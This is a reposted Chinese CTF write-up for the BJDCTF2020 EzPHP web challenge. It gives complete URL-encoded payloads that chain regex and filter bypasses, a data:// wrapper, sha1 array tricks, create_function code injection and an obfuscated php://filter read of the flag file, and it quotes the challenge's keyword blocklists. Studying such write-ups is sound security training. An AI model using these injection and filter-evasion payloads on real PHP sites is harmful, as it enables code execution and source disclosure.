[BJDCTF2020]EzPHP


[BJDCTF2020]EzPHP

知識點

1.$_SERVER 函數中‘QUERY_STRING’

2.preg_match繞過

3.$_REQUEST繞過

4.file_get_contents繞過(文件包含漏洞)

5.sha1比較

6.create_function()代碼注入

題解

打開題目查看源代碼,發現注釋

base32解碼得到1nD3x.php

第一步

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
} 

繞過'QUERY_STRING'$_SERVER['QUERY_STRING']不會進行urldecode,$_GET[]會,用url編碼繞過

第二步

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!'); 

preg_match('/^$/')用換行符%0a繞過

第三步

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

$_REQUEST繞過,$_REQUEST在同時接收GET和POST參數時,POST優先級更高

第四步

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

file_get_contents函數,用data偽協議繞過data://text/plain,debu_debu_aqua

第五步

sha1()函數無法處理數組,$shana和$passwd都是數組時都是false。$shana[]=1&$passwd[]=2

以上五步url編碼傳入

file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute
&shana[]=1&passwd[]=2

url編碼

file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2

同時POST:file=1&debu=1

前五步

第六步(重點!!!)

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
}

$code$arg可控,利用$code('',$arg)進行create_function注入

function a('',$arg){
    return $arg
}

$arg=}代碼;//,則}閉合了a(),同時//注釋了后面的內容

function a('',$arg){
    return }代碼;//
}

構造flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//

base64編碼后加到前五步的payload后面

file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}%76%61%72%5f%64%75%6d%70(%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73());//

第六步

知道了flag在rea1fl4g.php用require讀取flag,用~繞過正則

require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)

替換剛才的var_dump(get_defined_vars())

require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f))

得到base64加密代碼,解密得到flag

最終

參考鏈接:https://www.gem-love.com/ctf/770.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM